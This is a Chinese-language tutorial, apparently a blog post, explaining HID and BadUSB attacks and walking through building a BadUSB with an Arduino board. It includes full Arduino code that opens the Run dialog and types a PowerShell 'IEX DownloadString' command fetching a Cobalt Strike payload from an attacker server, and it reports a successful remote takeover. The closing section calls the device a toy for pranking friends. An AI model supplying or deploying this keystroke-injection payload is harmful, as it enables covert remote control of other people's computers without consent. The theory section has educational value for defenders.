一、理论知识

1. HID攻击

概念

HID:Human Interface Device,人与计算机交互的设备(例如键盘、鼠标)。
HID攻击:通过HID所形成的攻击。

两种HID攻击类型

  • USB RUBBER DUCKY
    • 简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。
  • TEENSY
    • 攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统。通过TEENSY攻击者可以模拟出一个键盘和鼠标,当受害者插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机。

相比HID攻击,BadUSB使用了更为通用的USB设备(如U盘),更具有普遍性。

2. BadUSB攻击

U盘内部构造

  1. ![](https://cdn.nlark.com/yuque/0/2020/jpeg/1741936/1597884051800-d0ac5ea7-e66e-47af-a9ac-e4c2d07591f6.jpeg#align=left&display=inline&height=222&margin=%5Bobject%20Object%5D&originHeight=222&originWidth=481&size=0&status=done&style=none&width=481)<br />U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。

USB特性

现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱,所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。

攻击原理

在USB特性的基础上,通过对U盘的固件进行逆向重新编程,相当于将U盘的操作系统改写成一个虚拟键盘而进行攻击的,同时利用了PC上的杀毒软件无法访问到U盘存放固件的区域,从而实现免杀。

小结

USB RUBBER DUCKY、TEENSY、BadUSB三种最终都是利用了USB协议的漏洞而进行攻击的,BadUSB可以利用普通常见的USB设备(U盘),而不需要进行硬件定制,更具有普遍性。


二、攻击演示

1. BadUSB制作

开发环境准备

Arduino

  1. - Arduino本质上是一种电子工具——微控制器,它可以被用来制作许多有趣的创意电子制作,比如电子时钟、四轴飞行器、宠物喂食机、3D打印机、电子显微镜等。Arduino本身是一款非常容易使用的印刷电路板。电路板上装有专用集成电路,并将集成电路的功能引脚引出方便我们外接使用。同时,电路板还设计有USB接口方便与电脑连接。其次,在软件方面,Arduino提供了专门的程序开发环境Arduino IDE,可以将Arduino理解为可附带编程的一个集成电路板。

Arduino IDE安装
下载地址https://share.weiyun.com/J2ynQqut
安装完成之后,打开IDE,下载开发板的支持
image.png
image.png

生成payload

打开Cobalt Striker
image.png
选择监听器和PowerShell生成ps脚本
image.png
image.png

上传服务器

将payload文件上传至目标机可访问的服务器上,这里用python建立简易服务器
image.png

BadUSB代码

  1. #include<Keyboard.h> //包含键盘模块头文件
  2. void setup(){ //初始化
  3. Keyboard.begin();//开始键盘通信
  4. delay(1000);//延时1000毫秒,
  5. Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键
  6. Keyboard.press('r');//按下r键 CMD
  7. delay(500);
  8. Keyboard.release(KEY_LEFT_GUI);//松掉win键
  9. Keyboard.release('r');//松掉r键
  10. delay(500);
  11. Keyboard.println("powershell IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/a.ps1')");
  12. Keyboard.press(KEY_RETURN); //按下回车键
  13. Keyboard.release(KEY_RETURN); //释放回车键
  14. delay(500);
  15. Keyboard.end();//结束键盘通讯
  16. }
  17. void loop()//循环,这里的代码
  18. {
  19. //循环体
  20. }

(xxx.xxx.xxx.xxx为服务器IP)

制作过程

插入USB,打开IDE,先选择开发板
image.png
选择端口设备即插入U盘设备
image.png
复制BadUSB代码到编辑器里,点击编译,然后点击上传(烧录)
image.png
image.png
烧录成功

2. 攻击过程

将U盘插入到虚拟机
image.png
等待大概2秒,会看见屏幕,自动打开cmd.exe
image.png
自动输入加载脚本文件的指令,然后自动消失。
image.png
(以上过程为插入BadUSB后电脑自动执行)
image.png
image.png
cs上线,成功远控。

三、总结

没有做免杀的BadUSB略显鸡肋,但是制作和使用都过程都不难,可以作为一个有趣的小玩具,利用代码恶搞一下朋友。
此次过程也算是为我打开了物理渗透的大门吧。

参考链接:
https://security.tencent.com/index.php/blog/msg/74
https://blog.csdn.net/qq_26091745/article/details/98092211